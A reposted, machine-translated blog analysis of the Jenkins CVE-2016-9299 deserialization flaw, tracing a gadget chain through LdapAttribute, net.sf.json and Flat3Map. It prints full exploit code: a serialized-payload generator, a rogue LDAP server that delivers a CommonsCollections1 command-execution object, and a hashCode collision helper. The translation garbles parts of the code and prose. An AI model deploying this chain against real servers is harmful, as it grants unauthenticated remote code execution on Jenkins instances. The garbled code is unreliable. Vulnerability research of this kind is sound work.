Hacking Book | Free Online Hacking Learning

Home

9299) deserialization vulnerability analysis

Posted by herskovits at 2020-03-17
all

Published on January 25, 2017

I paid attention to this vulnerability when the official announcement was issued in November last year. At that time, I was looking for the deserialization related to the class com.sun.jndi.ldap.ldapattribute. I realized that the getattributesytaxdefinition() method and getattributedefinition() in this class may have the problem of deserialization, but at that time, I found many classes and found that the sending sequence These two methods can't be triggered during the process of transformation. I thought it was my own problem in the JDK, but I didn't keep up with it at last. In the middle of the process, a foreigner released a PPT to demonstrate the vulnerability. I found that JSON is used to bypass Jenkins's white list was busy with data analysis at that time, and things ran aground. Not long ago, there was a payload on MSF, and there was not so much at the end of the year. So after studying this vulnerability, it is quite interesting. The knowledge involved is still a little wider. We have to admire those who found the vulnerability.

Every time a vulnerability appears, I wonder why I can't find it. When I finish analyzing the vulnerability, I find that the gap in all aspects is really not small.

Technology is about sharing, so that we can progress.

Vulnerability introduction

On November 16, 2016, Jenkins officially issued a safety notice named cve-2016-9299, From the aspect of notification, the vulnerability is still a deserialization vulnerability, but the deserialization of the vulnerability is related to LDAP, and it needs to be connected to a malicious LDAP server after deserialization. Jenkins's repair method for the previous deserialization is to add a blacklist to some malicious classes, so here's the official blacklist of bypass, which is the only way for the vulnerability Multiple information, and only com.sun.jndi.ldap.ldapattribute is mentioned in the official POC. First of all, this vulnerability does not need authentication, and can execute arbitrary code. The harm is obvious.

Vulnerability analysis

From the official description and the following payload, the problem is related to net.sf.json and com.sun.jndi.ldap.ldapattribute. Through the analysis of ldapattribute class, we can determine that the following two methods are the root of triggering deserialization vulnerability (for the knowledge of LDAP's deserialization in the following, please move to the paper of blackhat foreigners in 2016 “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”)

The dircontext schema = getbasectx(). Getschema (RDN) is called in both methods; in the code fragment, the getbasectx() method is defined as follows:

This code uses JNDI to access the LDAP service. Here, we can control the parameters of context. Provider? URL to control the address of the LDAP server JNDI accesses.

Getschema (RDN) method will eventually call com.sun.jndi.ldap.ldapbindingenumeration.createitem (string, attributes, vector) method (too many calling relationships, debug by yourself). The definition of this method is as follows

In this method, obj. Decodeobject (attrs) method will be called finally to realize the object deserialization. In this case, several methods of object serialization and deserialization are defined in com.sun.jndi.ldap.obj object, including direct deserialization and remote loading. The difference between deserialization here and other places is that we can't load objects remotely, because the default of com.sun.jndi.ldap.versionhelper12.trusturlcodebase The value is false, which directly determines that the classloader can only load the classes under the current classpath. For how to construct objects so that LDAP can execute arbitrary code in deserialization, see the following.

Now we know that the relevant methods in com.sun.jndi.ldap.ldapattribute can trigger the vulnerability of deserialization, so what we need to do now is to find a class that can call the function that triggers the vulnerability when deserializing, that is, the class that can call the getattributesytaxdefinition method or getattributedefinition method when deserializing, through the old After a little analysis of PPT and open gadgets, we will find that there is a place in the class library net.sf.json where any getxxx function of the class can be called. Then can the getxxx method in the class com.sun.jndi.ldap.ldapattribute also be called in this way. First, we determine which method in the class can call the getxxx function through GAD In the JSON payload of gets, we find that the getxxx function that can finally call the object is shown in the figure below (net.sf.json.jsonobject.defaultbean processing (object, jsonconfig))

The two places circled in the figure above are the places where the getxxx function can be called. Here, all the properties of the JavaBean will be traversed first and then called one by one.

Find out the source of function call. The next step is to find out how the function will trigger. Through eclipse, we can easily find the following ways of calling.

As shown in the figure above, we can see that the defaultbeanprocessing method will eventually be called by the equals method in the concurrentskiplistset class. Many people may ask here why you find the equals method of this class because there are too many things related to the equals method, and there may be some experience in it Data structure, such as set, will judge whether the current key exists every time when adding elements, and will call hashcode and equals methods when comparing whether two objects are equal. If you know about other deserialization students, you may have some feelings about this, such as the triggering process of deserialization in JDK. If there is no such experience, then you can only find one by one.

In the end, we found a method that can be called by a class, but you may find that in eclipse, such a function call relationship is mostly method calls in the case of polymorphism, so we also need to analyze the method calls in the equals method. Here we need to note that the direct call object of the defaultbeanprocessing function is net . SF. JSON. Jsonarray. Fromobject (object, jsonconfig) method. Let's look at equals method

There are two calls to the containsall method in this method. Let's see which may call fromobject. Let's look at the call relationship of fromobject, as shown in the following figure

You will find that jsonarray calls the containsall method,

One

containsAll(c) && c.containsAll(this);

The first containsall method here can't trigger the function, so we just need to satisfy that the object o is jsonarray, but in fact, it can't. because the object o is not a subclass of set, the path basically won't work, so we have to continue to find it.

Go back to the place of c.containsall and find out which functions finally call containsall. Here we find that org.apache.commons.collections.collection.abstractcollectiondecorator.containsall (Collection) is an abstract class call. Let's see the definition of the function

One

Two

Three

Four

Five

protected Collection collection;

...

public boolean containsAll(Collection coll) {

return collection.containsAll(coll);

}

The collection.containsAll method will eventually be called here. If we assign the collection to the JSONArray object, the vulnerability will not be triggered. Since the AbstractCollectionDecorator class is abstract and cannot be instantiated, we need to find a subclass of it. Note that we must satisfy that the subclass implements the Set interface and can be serialized Finally, we found the class org.apache.commons.collections.set.listorderedset. All we need to do is to satisfy that the collection of the parent class is jsonarray.

Here we know that we only need to assign the object o in the equals method to an instance of org.apache.commons.collections.set.listorderedset.

Next, we will look for the call relationship of equals. Using eclipse directly, we can find the org.apache.commons.collections.map.flat3map.put (object, object) class (we will follow the detailed process). One more important thing about this class is that

This class just triggers the put function when deserializing, and finally triggers our carefully constructed object.

A feature of this flat3map is that when the element of the map is less than or equal to 3, the class member variable will be used to store the data, and the equals method must be called here.

The tragedy is that here we need to construct two objects, which we just discussed. One is the listorderedset and the other is the concurrentskiplistset object. But here we need to satisfy that the hashcode of the key value of these two objects must be the same. The hashcode here is either all 0, which is the best. That is to say, the key is an empty string. But the payload we want to construct must have a jsonarray object. The default hashcode of this object is 29, which can't be equal no matter how. But here we can use hashcode collision to solve the problem of the same hashcode value.

Here, we have wasted a lot of time to explain how to trigger the key vulnerability. The next step is to construct POC. The specific details here are relatively simple and not described too much.

Payload-LDAP-JNDI

Here is the payload that generates LDAP serialization. If anyone has any questions, they can communicate by email.

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

Twenty

Twenty-one

Twenty-two

Twenty-three

Twenty-four

Twenty-five

Twenty-six

Twenty-seven

Twenty-eight

Twenty-nine

@author iswin

public static void main(String[] args) throws InstantiationException, IllegalAccessException,

IllegalArgumentException, InvocationTargetException, Exception {

Object o = Reflections.getFirstCtor("com.sun.jndi.ldap.LdapAttribute").newInstance("iswin");

Reflections.setFieldValue(o, "baseCtxURL", "ldap://127.0.0.1:38900");

ConcurrentSkipListSet sets = new ConcurrentSkipListSet(new NullComparator());

Sets.add (o);

ListOrderedSet set = new ListOrderedSet();

JSONArray array = new JSONArray();

array.add("\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004");

Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),

"collection", array);

Flat3Map map = new Flat3Map();

map.put(set, true);

map.put(sets, true);

Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), "attrID", "");

byte[] bt = Serializer.serialize(map);

Deserializer.deserialize(bt);

}

Payload-LDAP-SERVER

At first, I thought that it was mainly possible to generate a serialized payload and then find an LDAP server to get a serialized object and throw it on it, but the fact seems not so simple. I simulated it with apacheds for a long time, but I can't. later, I looked at the obj.decodeobject (attrs) method mentioned above, and found that the information that must be returned by the LDAP server must contain some attributes For example, javaserializeddata, but every time you ask for it, you can't get the result. Later, I went to look at the payload on MSF, and I got a little bit of it. Later, I didn't bother to get it, so I learned the RFC document of LDAP protocol, and I was familiar with ASN1 markup language (for those who are patient, please take a closer look). The specific explanation is as follows

Directly rewrite the ASN1 part of the simulated server on MSF with Java. The overall code is as follows:

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

Twenty

Twenty-one

Twenty-two

Twenty-three

Twenty-four

Twenty-five

Twenty-six

Twenty-seven

Twenty-eight

Twenty-nine

Thirty

Thirty-one

Thirty-two

Thirty-three

Thirty-four

Thirty-five

Thirty-six

Thirty-seven

Thirty-eight

Thirty-nine

Forty

Forty-one

Forty-two

Forty-three

Forty-four

Forty-five

Forty-six

Forty-seven

Forty-eight

Forty-nine

Fifty

Fifty-one

Fifty-two

Fifty-three

Fifty-four

Fifty-five

Fifty-six

Fifty-seven

Fifty-eight

Fifty-nine

Sixty

Sixty-one

Sixty-two

Sixty-three

Sixty-four

Sixty-five

Sixty-six

Sixty-seven

Sixty-eight

Sixty-nine

Seventy

Seventy-one

Seventy-two

Seventy-three

Seventy-four

Seventy-five

Seventy-six

Seventy-seven

Seventy-eight

Seventy-nine

Eighty

Eighty-one

Eighty-two

Eighty-three

Eighty-four

Eighty-five

Eighty-six

Eighty-seven

Eighty-eight

Eighty-nine

Ninety

Ninety-one

Ninety-two

Ninety-three

Ninety-four

Ninety-five

Ninety-six

Ninety-seven

Ninety-eight

Ninety-nine

One hundred

One hundred and one

One hundred and two

One hundred and three

One hundred and four

One hundred and five

One hundred and six

One hundred and seven

One hundred and eight

One hundred and nine

One hundred and ten

One hundred and eleven

One hundred and twelve

One hundred and thirteen

One hundred and fourteen

One hundred and fifteen

One hundred and sixteen

One hundred and seventeen

One hundred and eighteen

One hundred and nineteen

One hundred and twenty

One hundred and twenty-one

@author iswin

public class LdapServer {

public static byte[] hexStringToByteArray(String s) {

int len = s.length();

byte[] data = new byte[len / 2];

for (int i = 0; i < len; i += 2) {

data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));

}

Return data;

}

public static String bytesToHex(byte[] bytes) {

char[] hexArray = "0123456789ABCDEF".toCharArray();

char[] hexChars = new char[bytes.length * 2];

for (int j = 0; j < bytes.length; j++) {

int v = bytes[j] & 0xFF;

hexChars[j * 2] = hexArray[v >>> 4];

hexChars[j * 2 + 1] = hexArray[v & 0x0F];

}

return new String(hexChars);

}

public static byte[] make_stage_reply() throws Exception {

Object payload = CommonsCollections1.class.newInstance().getObject("open /Applications/Calculator.app");

ByteArrayOutputStream objpayload = new ByteArrayOutputStream();

ObjectOutputStream oo = new ObjectOutputStream(objpayload);

oo.writeObject(payload);

Sequence sq = new Sequence();

sq.addElement(new OctetString("javaClassName".getBytes()));

Set s0 = new Set();

s0.addElement(new OctetString("WTF".getBytes()));

sq.addElement(s0);

Sequence sq1 = new Sequence();

sq1.addElement(new OctetString("javaSerializedData".getBytes()));

Set s = new Set();

s.addElement(new OctetString(objpayload.toByteArray()));

sq1.addElement(s);

Sequence sq2 = new Sequence();

sq2.addElement(sq);

sq2.addElement(sq1);

Sequence sq3 = new Sequence();

sq3.addElement(new OctetString("cn=wtf, dc=example, dc=com".getBytes()));

sq3.addElement(sq2);

sq3.setTagClass(Tag.APPLICATION);

sq3.setTagNumber(4);

Sequence sqall = new Sequence();

sqall.addElement(new ASN1Integer(3L));

sqall.addElement(sq3);

ByteArrayOutputStream opt = new ByteArrayOutputStream();

sqall.encode(new BerOutputStream(opt, BerOutputStream.ENCODING_DER));

return opt.toByteArray();

}

public static void read_ldap_packet(Socket socket) {

Try {

InputStream sin = socket.getInputStream();

byte[] sinb = new byte[2];

sin.read(sinb);

if (sinb[0] != '0') {

Return;

}

int length = (char) (sinb[1] & 0xFF);

if ((length & (1 << 7)) != 0) {

int length_bytes_length = length ^ (1 << 7);

byte[] length_bytes = new byte[length_bytes_length];

sin.read(length_bytes);

Int sum = 0;

for (int i = 0; i < length_bytes.length; i++) {

sum += (length_bytes[i] & 0xFF);

}

length = sum;

}

byte[] tmp = new byte[length];

sin.read(tmp);

} catch (IOException e) {

e.printStackTrace();

}

}

public static void socketServer() throws Exception {

Try {

ServerSocket server = new ServerSocket(38900);

Socket ss = server.accept();

OutputStream out = new BerOutputStream(ss.getOutputStream());

read_ldap_packet(ss);

out.write(hexStringToByteArray("300c02010161070a010004000400"));

Out.flush ();

read_ldap_packet(ss);

out.write(hexStringToByteArray(

"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"));

out.write(hexStringToByteArray("300c02010265070a010004000400"));

Out.flush ();

read_ldap_packet(ss);

out.write(make_stage_reply());

out.write(hexStringToByteArray("300c02010365070a010004000400"));

Out.flush ();

Out.close ();

Ss.close ();

server.close();

} catch (IOException e) {

e.printStackTrace();

}

}

public static void main(String[] args) throws Exception {

socketServer();

}

}

Finally, I will briefly talk about the payload construction problem of obj. Decodeobject (attrs). Some students will surely say that JNDI can not directly load classes remotely and instantiate them. Then I will come to the door and say that the JNDI method for LDAP does not work. Let's see how the obj class is handled

Here we can see that there are many different ways to parse objects defined here, classloader CL = helper.geturlclassloader (codebases); this classloader loads related classes from the URL of codebase, but I'll take a look at the specific methods

So by default, the classes defined in codebase can't be loaded. Once this happens, we can only construct POC of relevant deserialization vulnerability, so that the class can trigger the vulnerability again when Jenkins deserializes, but in this case, payload is likely to fail.

On the collision of hashcode

I don't know whether it's right or not. Let's call it that way. Foreigners have studied this problem for a long time. I can throw the code directly and collide with any value of hashcode. We should pay attention to the copyright when using it.

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

Twenty

Twenty-one

Twenty-two

Twenty-three

Twenty-four

Twenty-five

Twenty-six

Twenty-seven

Twenty-eight

Twenty-nine

Thirty

Thirty-one

Thirty-two

Thirty-three

Thirty-four

Thirty-five

Thirty-six

Thirty-seven

Thirty-eight

Thirty-nine

Forty

Forty-one

Forty-two

Forty-three

Forty-four

Forty-five

Forty-six

Forty-seven

Forty-eight

Forty-nine

Fifty

Fifty-one

Fifty-two

Fifty-three

Fifty-four

Fifty-five

Fifty-six

Fifty-seven

Fifty-eight

Fifty-nine

Sixty

Sixty-one

Sixty-two

Sixty-three

Sixty-four

Sixty-five

Sixty-six

Sixty-seven

Sixty-eight

Sixty-nine

Seventy

Seventy-one

Seventy-two

Seventy-three

Seventy-four

Seventy-five

Seventy-six

Seventy-seven

Seventy-eight

Seventy-nine

Eighty

Eighty-one

Eighty-two

Eighty-three

Eighty-four

Eighty-five

Eighty-six

Eighty-seven

package iswin;

public class HashCollision {

public static String convert(String str) {

str = (str == null ? "" : str);

String TMP;

StringBuffer sb = new StringBuffer(1000);

Char c;

Int i, J;

sb.setLength(0);

for (i = 0; i < str.length(); i++) {

c = str.charAt(i);

sb.append("\\u");

j = (c >>> 8);

tmp = Integer.toHexString(j);

if (tmp.length() == 1)

sb.append("0");

sb.append(tmp);

j = (c & 0xFF);

tmp = Integer.toHexString(j);

if (tmp.length() == 1)

sb.append("0");

sb.append(tmp);

}

return (new String(sb));

}

public static String string2Unicode(String string) {

StringBuffer unicode = new StringBuffer();

for (int i = 0; i < string.length(); i++) {

char c = string.charAt(i);

unicode.append("\\u" + Integer.toHexString(c));

}

return unicode.toString();

}

* Returns a string with a hash equal to the argument.

*

* @return string with a hash equal to the argument.

* @author - Joseph Darcy

* /

public static String unhash(int target) {

StringBuilder answer = new StringBuilder();

if (target < 0) {

answer.append("\u0915\u0009\u001e\u000c\u0002");

if (target == Integer.MIN_VALUE)

return answer.toString();

target = target & Integer.MAX_VALUE;

}

unhash0(answer, target);

return answer.toString();

}

*

* @author - Joseph Darcy

* /

private static void unhash0(StringBuilder partial, int target) {

int div = target / 31;

int rem = target % 31;

if (div <= Character.MAX_VALUE) {

if (div != 0)

partial.append((char) div);

partial.append((char) rem);

} else {

unhash0(partial, div);

partial.append((char) rem);

}

}

public static void main(String[] args) {

System.out.println(convert(unhash(877174790)));

System.out.println("\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b".hashCode());

}

}

Make up a screenshot of successful utilization

summary

As long as the direction is right, roll up the sleeves and work hard!

Reference resources

[1] https://github.com/rapid7/metasploit-framework/pull/7815

Note: please keep the copyright for reprint.